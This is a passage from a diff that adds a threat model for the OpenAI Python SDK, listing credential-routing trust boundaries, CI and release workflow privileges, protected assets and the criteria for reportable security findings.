+| Azure OpenAI | Azure endpoint, API key, or AAD token | Explicit Azure credential wins; otherwise `AZURE_OPENAI_AD_TOKEN` precedes `AZURE_OPENAI_API_KEY`. Explicit `base_url` and `azure_endpoint` are mutually exclusive; WebSocket routing is explicit or derived from the configured HTTP base. | `azure_endpoint` mode derives an Azure `/openai` base; explicit HTTP or WebSocket bases remain caller-owned. Secrets remain in process memory. | Azure HTTP or WebSocket peer. | Auth modes are mutually exclusive, required endpoint/version checks fail closed, an API-key redirect hook strips the key before a cross-origin redirected request, and Azure WebSocket cross-origin redirects are rejected. | [src/openai/lib/azure.py:69](../../src/openai/lib/azure.py), [src/openai/lib/azure.py:90](../../src/openai/lib/azure.py), [src/openai/lib/azure.py:297](../../src/openai/lib/azure.py), [src/openai/lib/azure.py:319](../../src/openai/lib/azure.py), [src/openai/lib/azure.py:440](../../src/openai/lib/azure.py), [src/openai/lib/azure.py:507](../../src/openai/lib/azure.py), [src/openai/lib/_azure_websocket.py:8](../../src/openai/lib/_azure_websocket.py) |
+| Bedrock provider | Bearer token or AWS credential-chain authority | `bedrock(...)` selects one bearer or AWS mode, resolves region from explicit/environment/profile input, and derives a default endpoint or accepts a caller-owned custom base. | Default or recognized canonical endpoints are region-bound HTTPS; explicit custom bases remain caller-owned. Bearer or SigV4 credentials remain in process memory. | Bedrock endpoint. | Ambiguous auth modes fail; recognized canonical endpoints receive HTTPS/region checks; bearer auth is same-origin; SigV4 requires replayable bodies and disables automatic redirects. | [src/openai/providers/bedrock.py:77](../../src/openai/providers/bedrock.py), [src/openai/providers/bedrock.py:83](../../src/openai/providers/bedrock.py), [src/openai/providers/bedrock.py:132](../../src/openai/providers/bedrock.py), [src/openai/providers/bedrock.py:142](../../src/openai/providers/bedrock.py), [src/openai/providers/bedrock.py:451](../../src/openai/providers/bedrock.py), [src/openai/lib/_bedrock_auth.py:85](../../src/openai/lib/_bedrock_auth.py) |
+| X.509 workload identity | mTLS API and token exchange | X.509 identity selects mTLS default; caller supplies certificate through its HTTP transport. | API defaults to `https://mtls.api.openai.com/v1`; exchange is pinned to `https://mtls.auth.openai.com/oauth/token`. | OpenAI mTLS API and auth service. | HTTPS, origin, Host, TLS authority, credential, and authorization checks; token-exchange redirects are disabled. | [src/openai/auth/_x509.py:25](../../src/openai/auth/_x509.py), [src/openai/auth/_x509.py:49](../../src/openai/auth/_x509.py), [src/openai/auth/_x509.py:97](../../src/openai/auth/_x509.py) |
+| Subject-token workload identity | Local or metadata subject token and token-exchange destination | Provider callback; built-ins read Kubernetes token file or call Azure/GCP metadata endpoints; `WorkloadIdentityAuth` defaults to `https://auth.openai.com/oauth/token`, while direct callers may supply `token_exchange_url`, and posts the raw subject token to that configured recipient. | Kubernetes defaults to `/var/run/secrets/kubernetes.io/serviceaccount/token`; metadata hosts are fixed by helper; raw subject token enters the exchange JSON body and exchanged bearer is cached in memory. | Local host identity source, configured token-exchange recipient, then selected API destination. | Default exchange URL, redirects disabled on the exchange client, bounded timeout, token-response validation, and in-memory token cache. | [src/openai/auth/__init__.py:6](../../src/openai/auth/__init__.py), [src/openai/auth/_workload.py:17](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:78](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:128](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:181](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:220](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:340](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:345](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:355](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:366](../../src/openai/auth/_workload.py), [src/openai/auth/_workload.py:369](../../src/openai/auth/_workload.py) |
+| Webhook consumer | Webhook secret and raw inbound bytes | Explicit secret, then client `webhook_secret`, which may come from `OPENAI_WEBHOOK_SECRET`. | Secret remains in process memory; payload and headers are caller-supplied bytes. | SDK verifier and caller application. | Timestamp tolerance is a bounded-age check, not uniqueness or replay prevention; HMAC-SHA256 and constant-time comparison authenticate bytes; `unwrap` verifies before JSON parsing; caller owns webhook-id deduplication. | [src/openai/_client.py:281](../../src/openai/_client.py), [src/openai/resources/webhooks/webhooks.py:18](../../src/openai/resources/webhooks/webhooks.py), [src/openai/lib/_webhooks.py:13](../../src/openai/lib/_webhooks.py), [src/openai/lib/_webhooks.py:20](../../src/openai/lib/_webhooks.py), [src/openai/lib/_webhooks.py:33](../../src/openai/lib/_webhooks.py), [src/openai/lib/_webhooks.py:57](../../src/openai/lib/_webhooks.py) |
+| File upload | Caller filesystem read | Caller passes bytes, streams, or `PathLike` values. | Caller-selected path or already-opened stream. | Local OS and remote API. | Local OS permissions and explicit caller invocation; SDK does not discover files automatically. | [src/openai/_files.py:25](../../src/openai/_files.py), [src/openai/_files.py:65](../../src/openai/_files.py) |
+| HTTP/SSE response | Remote response bytes | Remote endpoint selected by caller configuration; streaming uses incremental decoders. | Remote JSON, SSE lines, or events in process memory. | SDK model parser and caller application. | Incremental SSE handling and `finally` response cleanup; large legitimate payloads are supported without arbitrary fixed rejection limits. | [src/openai/_streaming.py:53](../../src/openai/_streaming.py), [src/openai/_streaming.py:109](../../src/openai/_streaming.py), [AGENTS.md:112](../../AGENTS.md) |
+| Current and beta Realtime/Responses WebSockets | WebSocket destination and client auth headers | All current and beta paths use explicit `websocket_base_url` or transform the configured HTTP base to a WebSocket scheme, then merge client auth with caller extra headers. Only Realtime branches into Azure `_configure_realtime` for `api-key` or AAD bearer routing; Responses uses inherited `auth_headers` directly. Beta Realtime also adds `OpenAI-Beta: realtime=v1` before caller-header override. | Caller-selected WebSocket origin with `/realtime` or `/responses`; current and beta sync paths call `websockets.sync.client.connect` directly, while current and beta async paths use the SDK same-origin redirect wrapper, with async Azure Realtime using its Azure-specific wrapper. | WebSocket peer and any redirect target. | Caller owns explicit base/options; sync direct-connect and async same-origin redirect paths are distinct credential-routing surfaces, Azure async Realtime rejects cross-origin redirects, Responses keeps the generic client-auth path, and beta Realtime's extra header remains separately reviewable. | [src/openai/resources/realtime/realtime.py:683](../../src/openai/resources/realtime/realtime.py), [src/openai/resources/realtime/realtime.py:693](../../src/openai/resources/realtime/realtime.py), [src/openai/resources/realtime/realtime.py:1153](../../src/openai/resources/realtime/realtime.py), [src/openai/resources/responses/responses.py:4410](../../src/openai/resources/responses/responses.py), [src/openai/resources/responses/responses.py:4429](../../src/openai/resources/responses/responses.py), [src/openai/resources/responses/responses.py:4855](../../src/openai/resources/responses/responses.py), [src/openai/resources/responses/responses.py:4874](../../src/openai/resources/responses/responses.py), [src/openai/resources/beta/realtime/realtime.py:355](../../src/openai/resources/beta/realtime/realtime.py), [src/openai/resources/beta/realtime/realtime.py:382](../../src/openai/resources/beta/realtime/realtime.py), [src/openai/resources/beta/realtime/realtime.py:540](../../src/openai/resources/beta/realtime/realtime.py), [src/openai/resources/beta/responses/responses.py:4515](../../src/openai/resources/beta/responses/responses.py), [src/openai/resources/beta/responses/responses.py:4960](../../src/openai/resources/beta/responses/responses.py), [src/openai/_client.py:611](../../src/openai/_client.py), [src/openai/_client.py:1356](../../src/openai/_client.py), [src/openai/lib/azure.py:500](../../src/openai/lib/azure.py), [src/openai/lib/azure.py:854](../../src/openai/lib/azure.py), [src/openai/lib/_websocket.py:12](../../src/openai/lib/_websocket.py), [src/openai/lib/_azure_websocket.py:8](../../src/openai/lib/_azure_websocket.py) |
+| Package build and PyPI publish | Executable checkout code, artifacts, and OIDC publication | `scripts/build` invokes the locked build; artifacts pass from build job to upload-only job. | Build artifact; no long-lived PyPI token. | CI runner, artifact store, PyPI. | Locked/provenance-checked build requirements; no OIDC in build; `id-token: write` only in the publish job. | [scripts/build:1](../../scripts/build), [pyproject.toml:71](../../pyproject.toml), [.github/workflows/publish-pypi.yml:8](../../.github/workflows/publish-pypi.yml), [.github/workflows/publish-pypi.yml:40](../../.github/workflows/publish-pypi.yml) |
+| Published dependency supply chain | Runtime, optional, and build dependency execution | `pyproject.toml` declares runtime/optional dependencies and the Hatch build backend; `uv.lock` records registry artifacts and hashes for repository builds. | Published dependency package or build backend executed under installer/runtime authority. | Package builders and SDK consumers. | Locked repository builds and provenance checks reduce CI confusion, but a malicious or provenance-confused dependency published through an ordinary trusted release remains a separate consumer boundary. | [pyproject.toml:11](../../pyproject.toml), [pyproject.toml:42](../../pyproject.toml), [pyproject.toml:71](../../pyproject.toml), [pyproject.toml:108](../../pyproject.toml), [uv.lock:46](../../uv.lock), [.github/workflows/ci.yml:37](../../.github/workflows/ci.yml) |
+| `ci.yml` pull-request jobs | PR checkout execution | PR code and config are checked out and run in CI. | Tracked executable files from the PR checkout. | Read-only CI runner. | Workflow permissions are read-only, checkout credentials are not persisted, and dependency/build provenance is checked before installation. | [.github/workflows/ci.yml:18](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:33](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:37](../../.github/workflows/ci.yml) |
+| `ci.yml` main-branch examples job | Merged executable examples and `OPENAI_API_KEY` | On a same-repository push to `main`, the job selects `environment: ci`, checks out the merged revision, installs locked dependencies, and runs `examples/demo.py` and `examples/async_demo.py` with the secret in each step environment. | API key is present in the example process environment after merge; whether `ci` has host-side protection is external configuration. | Merged example code, dependencies, API destination, and CI runner. | Main/repository trigger condition, no persisted checkout credentials, locked dependency install, and environment selection; do not classify this as the read-only PR-job boundary. | [.github/workflows/ci.yml:218](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:221](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:224](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:227](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:240](../../.github/workflows/ci.yml), [.github/workflows/ci.yml:244](../../.github/workflows/ci.yml) |
+| CodeQL on a same-repository PR | Candidate source plus security-result write token | `pull_request` against `main` checks out candidate source, which pinned CodeQL actions process without a repository `run` or build step. | `GITHUB_TOKEN` with `security-events: write`; no persisted checkout credentials. | CodeQL analyzer/upload path and GitHub security-events API. | This is not the read-only `ci.yml` boundary: mere checkout is not code execution, but a realistic analyzer/action escape or other demonstrated execution path into this token-bearing job remains reportable. | [.github/workflows/codeql.yml:7](../../.github/workflows/codeql.yml), [.github/workflows/codeql.yml:15](../../.github/workflows/codeql.yml), [.github/workflows/codeql.yml:27](../../.github/workflows/codeql.yml), [.github/workflows/codeql.yml:32](../../.github/workflows/codeql.yml) |
+| Monthly Python version assessment | External lifecycle data, OpenAI key, agent output, and issue publication | Scheduled workflow downloads CPython/PyPI data, passes `OPENAI_API_KEY` to the pinned assessment action, runs Codex as an unprivileged user through the action's isolation boundary, marker/size-checks output, appends it to the step summary, and copies action-required output for a separate issue publisher. | External JSON snapshots; secret held by the assessment action/proxy boundary; bounded Markdown assessment artifact. | Assessment action, unprivileged Codex process, runner-owned checker, step summary, artifact store, and separate `issues: write` job. | Default-branch environment restriction is an external assumption; repository controls isolate the Codex user, keep Git metadata non-writable, terminate processes, check output marker/size, and separate issue publishing. Those checks do not establish semantic safety or redaction. | [.github/workflows/python-version-review.yml:19](../../.github/workflows/python-version-review.yml), [.github/workflows/python-version-review.yml:32](../../.github/workflows/python-version-review.yml), [.github/workflows/python-version-review.yml:58](../../.github/workflows/python-version-review.yml), [.github/workflows/python-version-review.yml:94](../../.github/workflows/python-version-review.yml), [.github/workflows/python-version-review.yml:104](../../.github/workflows/python-version-review.yml), [.github/workflows/python-version-review.yml:125](../../.github/workflows/python-version-review.yml), [.github/workflows/python-version-review.yml:160](../../.github/workflows/python-version-review.yml), [.github/workflows/python-version-review.yml:171](../../.github/workflows/python-version-review.yml) |
+| Castiron trusted reporter and publishers | Candidate Git objects, trusted report, statuses, and PR comments | A `workflow_run` handler from main checks out the trusted reporter, computes over current PR Git objects, then separate jobs publish statuses and comments. | Candidate Git objects and trusted report artifact; `statuses: write` and `pull-requests: write` remain in publisher jobs. | Main reporter, GitHub status API, and PR comment API. | Main workflow/reporter checkout and no candidate checkout/artifact in the status job; status publication is exact-head/base-bound, successful report comments use trusted artifact identifiers, and fallback failure comments are only head/run-bound. | [.github/workflows/castiron-custom-code-comment.yml:5](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:34](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:40](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:116](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:128](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:138](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:174](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:191](../../.github/workflows/castiron-custom-code-comment.yml), [.github/workflows/castiron-custom-code-comment.yml:217](../../.github/workflows/castiron-custom-code-comment.yml) |
+| Protected release workflows | Release private key, generated GitHub App write token, and publication authority | Main-only release job passes `OPENAI_SDKS_APP_PRIVATE_KEY` into pinned `actions/create-github-app-token`; its generated token is passed to pinned `release-please` with contents, issues, and pull-request write access. Build and upload-only PyPI publish remain separate jobs. | Secret is consumed by the release-environment job; generated token is job-local action output; PyPI uses Trusted Publishing identity. Whether the secret or environment is protected is external configuration. | Token-minting action, release-please action, GitHub API, artifact store, and PyPI. | Main/repository condition, empty initial job permissions, pinned actions, separate build/publish jobs, and upload-only OIDC; host-side environment, App installation, and Trusted Publishing bindings are not proven by this repository. | [.github/workflows/create-releases.yml:4](../../.github/workflows/create-releases.yml), [.github/workflows/create-releases.yml:8](../../.github/workflows/create-releases.yml), [.github/workflows/create-releases.yml:19](../../.github/workflows/create-releases.yml), [.github/workflows/create-releases.yml:23](../../.github/workflows/create-releases.yml), [.github/workflows/create-releases.yml:28](../../.github/workflows/create-releases.yml), [.github/workflows/publish-pypi.yml:40](../../.github/workflows/publish-pypi.yml) |
+
+## Threat Model, Trust Boundaries, and Assumptions
+
+### Protected assets and objectives
+
+- Keep API keys, admin keys, ambient `Authorization` headers, webhook secrets,
+ subject tokens, exchanged bearer tokens, provider credentials, and release
+ credentials from reaching unintended recipients
+ ([src/openai/_client.py:247](../../src/openai/_client.py),
+ [src/openai/_client.py:310](../../src/openai/_client.py),
+ [src/openai/auth/_workload.py:220](../../src/openai/auth/_workload.py)).
+- Preserve correct destination and credential binding, including distinct
+ ordinary/admin auth selection, residency routing, X.509 authority checks, and
+ provider-specific signing ([src/openai/_client.py:589](../../src/openai/_client.py),
+ [src/openai/_data_residency.py:12](../../src/openai/_data_residency.py),
+ [src/openai/auth/_x509.py:49](../../src/openai/auth/_x509.py)).
+- Verify webhook authenticity and bounded timestamp age before a payload is
+ treated as an OpenAI event; caller-side webhook-id deduplication remains a
+ separate replay boundary ([src/openai/resources/webhooks/webhooks.py:18](../../src/openai/resources/webhooks/webhooks.py),
+ [src/openai/lib/_webhooks.py:20](../../src/openai/lib/_webhooks.py),
+ [src/openai/lib/_webhooks.py:33](../../src/openai/lib/_webhooks.py)).
+- Preserve confidentiality and integrity of caller prompts, uploads, audio,
+ responses, and streaming events as they cross caller-selected transports.
+- Keep credentials, authentication headers, customer data, and unredacted
+ sensitive request or response bodies out of logs, snapshots, test output,
+ and exceptions; those are independently readable
+ recipients, not harmless diagnostics. Safe or sanitized caller-visible
+ `APIError.body` diagnostics may remain
+ ([AGENTS.md:26](../../AGENTS.md),
+ [src/openai/_utils/_logs.py:10](../../src/openai/_utils/_logs.py),
+ [src/openai/_exceptions.py:46](../../src/openai/_exceptions.py)).
+- Keep real API keys, bearer tokens, private keys, `.env` files, and other
+ credentials out of tracked repository contents, history, review diffs,
+ checkouts, and artifacts. Clearly fake or sanitized examples and fixtures may
+ remain ([AGENTS.md:22](../../AGENTS.md), [AGENTS.md:26](../../AGENTS.md)).
+- Preserve package and release integrity: untrusted PR execution must not reach
+ protected release credentials or publication authority
+ ([.github/workflows/ci.yml:18](../../.github/workflows/ci.yml),
+ [.github/workflows/publish-pypi.yml:40](../../.github/workflows/publish-pypi.yml)).
+- Preserve consumer supply-chain integrity when runtime, optional, transitive,
+ or build dependencies and their install/build scripts enter an ordinary
+ trusted release; this boundary does not require a PR-to-release escape
+ ([pyproject.toml:11](../../pyproject.toml), [pyproject.toml:42](../../pyproject.toml),
+ [pyproject.toml:108](../../pyproject.toml), [uv.lock:46](../../uv.lock)).
+- Preserve large-payload compatibility through incremental processing, timely
+ cleanup, and caller cancellation rather than arbitrary SDK body/event/line
+ limits ([AGENTS.md:112](../../AGENTS.md), [src/openai/_streaming.py:109](../../src/openai/_streaming.py)).
+
+### Actors, authority, and boundaries
+
+- The caller application owns its process, explicit client arguments,
+ environment, filesystem authority, credential callbacks, custom transports,
+ headers, and endpoint configuration. A caller that already controls
+ `base_url`, `websocket_base_url`, a file path, or an HTTP client does not
+ gain a new SDK privilege merely because the SDK uses that value
+ ([src/openai/_client.py:157](../../src/openai/_client.py),
+ [src/openai/_client.py:299](../../src/openai/_client.py)).
+- The legacy module-level client is a separate SDK-owned selector over mutable
+ module globals and environment state. Module `api_type` starts from
+ `OPENAI_API_TYPE`; `_load_client()` fills unset Azure endpoint/version globals
+ from environment. When `api_type` is unset, it
+ rejects `OPENAI_API_KEY` in the environment together with module
+ `azure_endpoint`/`AZURE_OPENAI_ENDPOINT`, `AZURE_OPENAI_API_KEY`,
+ `AZURE_OPENAI_AD_TOKEN`, module `azure_ad_token`, or module
+ `azure_ad_token_provider`; module `api_key` and `api_version` are not
+ ambiguity signals. Exact `"azure"` and `"amazon-bedrock"` values use
+ dedicated branches; with `api_type` unset it infers Azure when an enumerated
+ Azure/AAD signal exists and otherwise defaults to OpenAI, while explicit
+ `"openai"` and any other non-`None` runtime value fall through to
+ `_ModuleClient`, and
+ caches that client until `_reset_client()`. The reset clears only `_client`;
+ `_ModuleClient` property-backed common globals such as API/admin keys remain
+ live, while Azure endpoint/version/AAD and non-property provider inputs are
+ captured by the constructed client; inferred `api_type` or environment-filled
+ Azure globals persist unless changed independently. Regressions in selection,
+ ambiguity detection, argument forwarding, or those distinct cache/global
+ behaviors can route credentials to the wrong provider
+ ([src/openai/__init__.py:362](../../src/openai/__init__.py),
+ [src/openai/__init__.py:368](../../src/openai/__init__.py),
+ [src/openai/__init__.py:374](../../src/openai/__init__.py),
+ [src/openai/__init__.py:379](../../src/openai/__init__.py),
+ [src/openai/__init__.py:387](../../src/openai/__init__.py),
+ [src/openai/__init__.py:404](../../src/openai/__init__.py),
+ [src/openai/__init__.py:436](../../src/openai/__init__.py),
+ [src/openai/__init__.py:439](../../src/openai/__init__.py)).
+- The SDK-owned default HTTPX sync/async clients and optional
+ `DefaultAioHttpClient` are distinct from caller-supplied transports. They
+ default to following redirects; absent a caller-supplied inner transport, the
+ vendored aiohttp transport owns its
+ TLS/proxy request path and disables aiohttp-native redirects so the
+ HTTPX-compatible layer handles them. Regressions in those default paths can
+ change whether API, admin, or ambient authorization crosses an origin; a
+ caller-implemented client or transport, proxy, or TLS configuration remains
+ caller-owned; selecting SDK-provided `DefaultAioHttpClient` does not move its
+ implementation out of the SDK-owned boundary
+ ([src/openai/_base_client.py:863](../../src/openai/_base_client.py),
+ [src/openai/_base_client.py:1457](../../src/openai/_base_client.py),
+ [src/openai/_base_client.py:1478](../../src/openai/_base_client.py),
+ [src/openai/_vendor/httpx_aiohttp/transport.py:100](../../src/openai/_vendor/httpx_aiohttp/transport.py),
+ [src/openai/_vendor/httpx_aiohttp/transport.py:170](../../src/openai/_vendor/httpx_aiohttp/transport.py),
+ [src/openai/_vendor/httpx_aiohttp/transport.py:179](../../src/openai/_vendor/httpx_aiohttp/transport.py)).
+- Authenticated current and beta Realtime/Responses WebSockets have eight SDK
+ connection surfaces: each current or beta sync path calls
+ `websockets.sync.client.connect` directly, while each current or beta async
+ path uses the SDK same-origin redirect wrapper. All merge client auth with
+ caller extra headers; only Realtime invokes Azure `_configure_realtime` for
+ `api-key` or AAD bearer routing, while Responses uses inherited
+ `auth_headers` directly. Beta Realtime adds `OpenAI-Beta: realtime=v1`
+ before caller-header override. Async Azure Realtime also uses its
+ Azure-specific redirect wrapper. Review sync and async paths independently
+ because their redirect enforcement is not shared
+ ([src/openai/resources/realtime/realtime.py:683](../../src/openai/resources/realtime/realtime.py),
+ [src/openai/resources/realtime/realtime.py:693](../../src/openai/resources/realtime/realtime.py),
+ [src/openai/resources/realtime/realtime.py:1153](../../src/openai/resources/realtime/realtime.py),
+ [src/openai/resources/responses/responses.py:4410](../../src/openai/resources/responses/responses.py),
+ [src/openai/resources/responses/responses.py:4855](../../src/openai/resources/responses/responses.py),
+ [src/openai/resources/beta/realtime/realtime.py:355](../../src/openai/resources/beta/realtime/realtime.py),
+ [src/openai/resources/beta/realtime/realtime.py:382](../../src/openai/resources/beta/realtime/realtime.py),
+ [src/openai/resources/beta/realtime/realtime.py:540](../../src/openai/resources/beta/realtime/realtime.py),
+ [src/openai/resources/beta/responses/responses.py:4515](../../src/openai/resources/beta/responses/responses.py),
+ [src/openai/resources/beta/responses/responses.py:4960](../../src/openai/resources/beta/responses/responses.py),
+ [src/openai/lib/_websocket.py:12](../../src/openai/lib/_websocket.py),
+ [src/openai/lib/_azure_websocket.py:8](../../src/openai/lib/_azure_websocket.py)).
+- Remote HTTP, SSE, and WebSocket data is independently mutable lower-trust
+ input when it enters parsers and remains lower-trust for sensitive-sink
+ analysis after syntactic parsing or schema validation. Those steps establish
+ structure, not safe semantics; continue tracing to credential use, local-file
+ access, code execution, and caller security decisions unless a
+ boundary-specific semantic validation or authorization step establishes the
+ needed property ([src/openai/_base_client.py:672](../../src/openai/_base_client.py),
+ [src/openai/_streaming.py:166](../../src/openai/_streaming.py)).
+- Webhook payloads and headers are lower-trust input when they enter signature
+ verification. A successful HMAC and timestamp check establishes provenance
+ and bounded age, not uniqueness or replay prevention; the stateless verifier
+ can accept the same signed webhook again within tolerance, so caller-side
+ webhook-id deduplication remains a separate boundary. Keep tracing payload
+ fields unless a boundary-specific semantic validation or authorization step
+ establishes the needed property. Application behavior after verified delivery
+ remains caller-owned
+ ([src/openai/resources/webhooks/webhooks.py:18](../../src/openai/resources/webhooks/webhooks.py)).
+- Local token files and cloud metadata services are host-identity boundaries:
+ an attacker who can independently read or invoke them may gain a raw subject
+ token. `WorkloadIdentityAuth` defaults to the OpenAI auth exchange but direct
+ callers can configure `token_exchange_url`; it sends the token in JSON to
+ that configured recipient with redirects disabled. Changing the default
+ destination or redirect behavior is a separate credential-routing boundary
+ before the exchanged bearer reaches the API
+ ([src/openai/auth/_workload.py:17](../../src/openai/auth/_workload.py),
+ [src/openai/auth/_workload.py:78](../../src/openai/auth/_workload.py),
+ [src/openai/auth/__init__.py:6](../../src/openai/auth/__init__.py),
+ [src/openai/auth/_workload.py:128](../../src/openai/auth/_workload.py),
+ [src/openai/auth/_workload.py:345](../../src/openai/auth/_workload.py),
+ [src/openai/auth/_workload.py:355](../../src/openai/auth/_workload.py),
+ [src/openai/auth/_workload.py:366](../../src/openai/auth/_workload.py),
+ [src/openai/auth/_workload.py:369](../../src/openai/auth/_workload.py)).
+- PR authors control their checkout contents and therefore the tracked source,
+ examples, tests, fixtures, build scripts, and other executable files that CI
+ intentionally runs. Those files execute with
+ repository-code authority. A contributor who can change such tracked
+ executable code does not gain a new privilege merely because a test, example,
+ build, or lint step runs it. The real boundary is whether that PR-controlled
+ execution can reach independently protected credentials, tokens, write
+ permissions, release environments, or publication authority
+ ([.github/workflows/ci.yml:18](../../.github/workflows/ci.yml),
+ [.github/workflows/ci.yml:33](../../.github/workflows/ci.yml),
+ [.github/workflows/publish-pypi.yml:40](../../.github/workflows/publish-pypi.yml)).
+- The `ci.yml` examples job is a distinct post-merge boundary, not part of the
+ read-only pull-request statement: on a same-repository push to `main`, it
+ checks out the merged revision and runs `examples/demo.py` and
+ `examples/async_demo.py` with `OPENAI_API_KEY` in each process environment.
+ The YAML selects `environment: ci`, but whether that environment actually has
+ host-side protection or approvals must be verified separately
+ ([.github/workflows/ci.yml:218](../../.github/workflows/ci.yml),
+ [.github/workflows/ci.yml:221](../../.github/workflows/ci.yml),
+ [.github/workflows/ci.yml:224](../../.github/workflows/ci.yml),
+ [.github/workflows/ci.yml:240](../../.github/workflows/ci.yml),
+ [.github/workflows/ci.yml:244](../../.github/workflows/ci.yml)).
+- Workflow-definition changes remain security-sensitive whenever they can alter
+ permissions, secrets, protected environments, artifact provenance, or
+ publication paths.
+- The read-only statement above is specific to `ci.yml`. CodeQL is a distinct
+ same-repository PR boundary because pinned analyzer actions process candidate
+ source while the job token has `security-events: write`. The workflow does
+ not run repository scripts merely by checking out the source; scans must
+ investigate a realistic analyzer/action escape or another demonstrated
+ execution path before treating token misuse as reportable
+ ([.github/workflows/codeql.yml:7](../../.github/workflows/codeql.yml),
+ [.github/workflows/codeql.yml:15](../../.github/workflows/codeql.yml),
+ [.github/workflows/codeql.yml:27](../../.github/workflows/codeql.yml),
+ [.github/workflows/codeql.yml:32](../../.github/workflows/codeql.yml)).
+- The monthly Python-version review is a separate privileged workflow:
+ independently mutable CPython/PyPI data reaches an unprivileged Codex process
+ through the pinned assessment action's isolation boundary, while the action
+ receives `OPENAI_API_KEY`. Marker/size-checked output is appended to the
+ step summary, and action-required output becomes the intended issue body for
+ a separate `issues: write` publisher. Those checks do not prove semantic
+ safety or redaction. Regressions that expose the key, weaken workspace
+ ownership, leak sensitive output to the summary, escape the intended issue
+ body into publisher commands/metadata/targets, obtain broader issue-write
+ authority, or collapse job separation remain reportable boundaries
+ ([.github/workflows/python-version-review.yml:58](../../.github/workflows/python-version-review.yml),
+ [.github/workflows/python-version-review.yml:94](../../.github/workflows/python-version-review.yml),
+ [.github/workflows/python-version-review.yml:104](../../.github/workflows/python-version-review.yml),
+ [.github/workflows/python-version-review.yml:125](../../.github/workflows/python-version-review.yml),
+ [.github/workflows/python-version-review.yml:160](../../.github/workflows/python-version-review.yml),
+ [.github/workflows/python-version-review.yml:171](../../.github/workflows/python-version-review.yml)).
+- Castiron's `workflow_run` handler is another distinct privileged boundary:
+ main's trusted reporter evaluates candidate Git objects, then publisher jobs
+ hold `statuses: write` and `pull-requests: write`. Candidate data is intended
+ to influence the computed report and resulting published statuses or comments;
+ it becomes reportable when it bypasses or escapes the reporter's provenance,
+ freshness, payload-validation, or artifact binding before influencing a
+ publisher. Status and successful-report paths bind exact head/base or trusted
+ artifacts; the fallback failure-comment path is only head/run-bound and
+ remains a separate review surface. Whether a published status is a required
+ merge check depends on external branch-protection configuration
+ ([.github/workflows/castiron-custom-code-comment.yml:5](../../.github/workflows/castiron-custom-code-comment.yml),
+ [.github/workflows/castiron-custom-code-comment.yml:40](../../.github/workflows/castiron-custom-code-comment.yml),
+ [.github/workflows/castiron-custom-code-comment.yml:116](../../.github/workflows/castiron-custom-code-comment.yml),
+ [.github/workflows/castiron-custom-code-comment.yml:138](../../.github/workflows/castiron-custom-code-comment.yml),
+ [.github/workflows/castiron-custom-code-comment.yml:174](../../.github/workflows/castiron-custom-code-comment.yml)).
+- The main-only release job is a separate credential handoff: the
+ `OPENAI_SDKS_APP_PRIVATE_KEY` secret referenced by its release-environment job
+ is received by pinned
+ `actions/create-github-app-token`, and its generated contents/issues/pull-
+ requests write token is then received by pinned `release-please`. A
+ regression in either action pin, input, output, permission, or recipient is
+ reportable independently from PyPI's later upload-only OIDC boundary
+ ([.github/workflows/create-releases.yml:8](../../.github/workflows/create-releases.yml),
+ [.github/workflows/create-releases.yml:19](../../.github/workflows/create-releases.yml),
+ [.github/workflows/create-releases.yml:23](../../.github/workflows/create-releases.yml),
+ [.github/workflows/create-releases.yml:28](../../.github/workflows/create-releases.yml),
+ [.github/workflows/publish-pypi.yml:40](../../.github/workflows/publish-pypi.yml)).
+- Main/release workflows and PyPI publication are conditional privileged
+ surfaces. Repository YAML shows requested permissions and job separation;
+ external branch, environment, GitHub App, and Trusted Publishing bindings are
+ deployment assumptions, not facts proven by the checkout.
+
+### Reportability and assumptions
+
+A reportable SDK finding requires a realistic new capability across an actual
+boundary: independently mutable lower-trust input crossing a parser/evaluator
+boundary into a sensitive sink; untrusted runtime, API, network, webhook, or
+metadata data reaching credentials, local files, code execution, or caller
+security decisions; unredacted sensitive material reaching logs, exceptions,
+snapshots, or test output; real credentials, private keys, bearer tokens, or
+`.env` files reaching tracked repository contents, history, review diffs,
+checkouts, or artifacts; PR-controlled code reaching protected CI/release
+credentials, write-capable tokens, or publication authority; or published
+dependency, build-backend, or install-script compromise reaching package
+consumers through an ordinary trusted release. Ordinary authorized SDK behavior,
+self-only effects within authority the caller or PR author already has, and
+keyword matches in clearly fake or sanitized tracked examples/fixtures are not
+findings by themselves. Safe or sanitized caller-visible `APIError.body`
+diagnostics are not findings by themselves.
+
+The model assumes normal default OpenAI endpoints use TLS, while callers remain
+responsible for trusting explicit endpoint, proxy, transport, filesystem, audio,
+and credential-provider choices. The SDK does not itself provide multi-tenant
+isolation or application-level model-output safety. Host-side branch protection,
+environment approvals, metadata network policy, GitHub App installation scope,
+and PyPI Trusted Publishing identity bindings are outside this repository and
+must be verified separately when a scenario depends on them.
+
+For pull-request scans, candidate changes to this file are lower-trust input
+and cannot redefine the policy used to judge that same candidate. Resolve this
+model from the trusted base or another pinned protected revision; if neither
+contains it, use separately pinned protected scan policy. A protected
+default-branch scan may use its protected scanned revision.
+
+## Attack Surface, Mitigations, and Attacker Stories
+
+These are reusable hypotheses and review guidance, not confirmed
+vulnerabilities.
+
